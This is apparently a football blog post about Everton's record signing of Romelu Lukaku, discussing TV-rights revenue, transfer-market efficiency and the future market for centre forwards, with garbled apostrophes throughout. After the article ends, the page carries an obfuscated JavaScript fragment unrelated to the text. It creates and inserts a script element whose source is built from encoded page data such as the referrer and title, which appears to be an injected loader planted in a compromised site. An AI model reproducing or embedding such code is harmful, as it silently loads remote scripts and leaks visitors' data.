Everton have purchased Romelu Lukaku from Chelsea for a fee of 28 million pounds, a club record. While transfer fees of this magnitude are rare for clubs of Evertonai??i??s size, a combination of unique factors and a general wave of prosperity for Premier LeagueAi??clubs made this an obvious move for Everton to make.
The best players in the world do not go to play for Everton. Therefore, ignoring the cost of these players, Everton have little reason to believe that they could attract such players to their club. Now, in the late 90s to the mid-2000s, most of the biggest clubs in the world, especially the Italian ones, focused on purchasing players at around 26-29 years of age. In that era, a club like Everton, with a manager like Roberto Martinez could exploit that misallocation of resources (spending big money on players already in their prime or beyond their prime means paying a lot for decline years), buying younger players struggling for playing time (see Arsene Wengerai??i??s purchases of Patrick Vieira and Thierry Henry as examples of exploiting Italian footballai??i??s regulations and Italian clubai??i??s lack of trust in youth).
However, years of poor resource allocation (look at the ages and the amount of money spent on the most expensive transfers in the 2000/2001, 2001/2002, 2002/2003 (Inter Milan bought terribly after selling Ronaldo)), have given way to the biggest clubs purchasing the best talents aged 24 and under, a much better investment as clubs get more years of prime production and waste less prime years integrating a player into their side. Not only has this increased efficiency made the biggest clubs better off, but it has reduced the number of profit opportunities for smaller clubs.
Therefore, the ability to sign a high-ceiling talent like Romelu Lukaku, at the age of 21, represents a unique opportunity for Everton, one they may not have for some time (unless Roberto Martinez can continue to loan talented youngsters, ingratiate himself with them, thus giving Everton a chance to sign these talented players if they are unwanted by their parent club). In this sense, the marginal benefit of signing Lukaku dwarfs the opportunity cost, the value of the foregone option, foregone due to the resources spent on acquiring Lukaku (one can flip it and say that the opportunity cost of not signing Lukaku draws the marginal benefit of any bundle of players+cash Everton could acquire with that 28 million pounds). Throw in the fact that Evertonai??i??s squad has a serious deficiency up top without Lukaku (so his marginal benefit to Everton is higher given their poverty at the position), and this deal makes plenty of sense for Everton.
The Explosion of TV Money
In 2012/13, Everton received 51,770,467 pounds. In 2013/14, the equal share of EPL payment to Everton (equal share of the domestic TV rights and overseas TV rights and central commercial) comes to 52,198,111 pounds, with their total share coming to 85,027,727 pounds. That increase of almost 34 million pounds relative to 2012/13 should persist and possibly increase, given that Everton seem unlikely to fall out the Top 7 and could see an increase in facility fees (Roberto Martinezai??i??s Everton seem likely a much better product for television than any of David Moyesai??i?? sides). Given wages and fees, the outlay of 50-60 million pounds, over the course of five years, appears like something Everton can afford, and that is before considering the bidding for EPL rights before the 2016/2017 season.
The English Premier Leagueai??i??s TV deal for the 2013-2016 period saw a 55.4% increase in overseas TV rights. The arrival of BT increased demand for EPL TV rights in England, leading to a 71% increase in domestic TV revenue. Growing demand (at least predicted by the TV networks) for the EPL by fans led to tremendous growth in revenue, particularly in Asia (940.8M, 77.2% increase), North America (179.2M, 198.7% increase), and South America (96M, 668% increase). In addition to increased demand for fans, increased competition between TV networks raised the demand for TV rights. Bidding wars in France (Canal+ and BeIN) and NBC entering the bidding in the United States stand out as two examples. This combination of increased competition and increased demand from fans, around the world, leads one to believe that the next TV deal could represent another substantial increase in TV money for the EPL.
Looking at Lukakuai??i??s deal, which ends after the 2018/19 season, the final three seasons will come under this new TV deal. So not only does the anticipated increase in revenue mean that Everton will have plenty of free assets (liquid assets) to make future purchases, it also means that there is less of a marginal benefit for Everton to sell and there will be greater demand for a talent like Lukaku. With increased revenue, the fee needed to convince Everton to sell the Belgian would likely increase, as they have less of a need to sell Lukaku in order to accumulate liquid assets in order to purchase players (assuming they do not irresponsibly sink those liquid assets into a bunch of bad long-term purchases in the next few years). With increased revenue for other teams, both in the EPL and for the best teams abroad, the demand for a talent like Lukaku (who one would predict to develop into a much better player than he is now, under Martinez) will increase (these shifts also explain why English players from English clubs go for relatively higher prices. Increased revenue for English clubs means that selling clubs have less of an incentive to sell. Increased revenue for English clubs also leads to a greater demand for English talent. Since many English clubs find it much easier to recruit/keep an English player than a non-English one, those revenue increases pushes up the demand for/value of English talent more than non-English talent for English clubs, leading to those relatively high prices (assuming the supplies are rather unresponsive)) And this increase in demand may also come as the supply of center forwards decreases.
Future Market for Center Forwards
Looking at the beginning of the 2017-18 season, the market for center forwards looks quite grim (numbers are age at the start of the 2017/18 season). Players like Messi (30), Ronaldo (32, who will probably play more as a CF as he ages), Cavani (30), Falcao (31, already in his decline), Dzeko (31), Suarez (30), Higuain (29), Aguero (29), Benzema (29), Van Persie (34, already in his decline) etc. will be years removed from their peak years (around 24-27 years old). The likes of Lewandowski (28), Sturridge (27), Destro (26), Immobile (27), Balotelli (27), Costa (28) etc. will be deep in their primes or just exiting their primes, making them poor investments for anyone other than a desperate-to-win-right-now club.
So when it comes to potentially attractive in-their-prime investments at the center forward position in 2017-18, the market has the likes of Neymar (25, could make the switch to playing in the middle, but probably not leaving Barcelona), Morata (24 and at Juventus), Lasogga (25), Drmic (25) etc. That is not looking too good. After that group, the rest of the footballing world will have to wait and see on the development of players like Timo Werner (21 and German so he will probably be at Bayern around that time), Domenico Berardi (23 and at Juventus), Michy Batshuayi (23), Anthony Martial (21), Ante Rebic (23), etc.
As with any prediction on the market for a position, position changes and unpredicted gems could increase the supply, but as of now, it appears that the quality of the center forward position is set to fall over the next few seasons. Also, if a team desires a goal-scorer with power and pace, the market shrinks even further (obviously teams could shift their preferences and focus more on formations without a center forward given the lack of supply, possible relying more on wide forwards). Therefore, with Everton signing Lukaku, not only do the Toffees have a player who can provide immense value on the pitch, but have potentially acquired one of the most valuable assets in football (which could become even greater if he learns how to hold the ball up, fixes his first touch, and improves his passing technique).
Conclusion
Everton smashed their transfer record by signing Romelu Lukaku (previous record was Marouane Fellainiai??i??s 15 million pound move from Standard Liege), but given the context of the signing, it was an easy one to make. He provides them with production in the present, potential growth, and outstanding value as a saleable asset.
However, this purchase probably does not represent a shift in Evertonai??i??s spending habits relative to the rest of the English Premier League. Unless they get purchased by a sugar daddy with outstanding business connections, it is unlikely that Everton will make transfers like this in future windows. They are not a prime destination for the best talents, and they will not compensate those top talents with higher wages than the competition, in order to attract them. They also lack the incentive to implement such a spending strategy.
With the strength of Arsenal, City, Chelsea, United, and Liverpool (though how they deal with Anfield will play a crucial role in their ability to compete for the Top 4, going forward), it does not seem wise for Everton to go on a spending spree in an effort to qualify for the Champions League. With Everton too good to be relegated, they lack the incentive of a bottom-table team to spend in order avoid the drop and the revenue loss that comes with relegation. This is the life of a mid-table club in the English Premier League. Hopefully, Romelu Lukaku makes Everton fans forget their middling place in world football by performing at a world class level.
(Thanks to Aakriti Mehrotra for helping to come up with the final list of center forwards)
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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}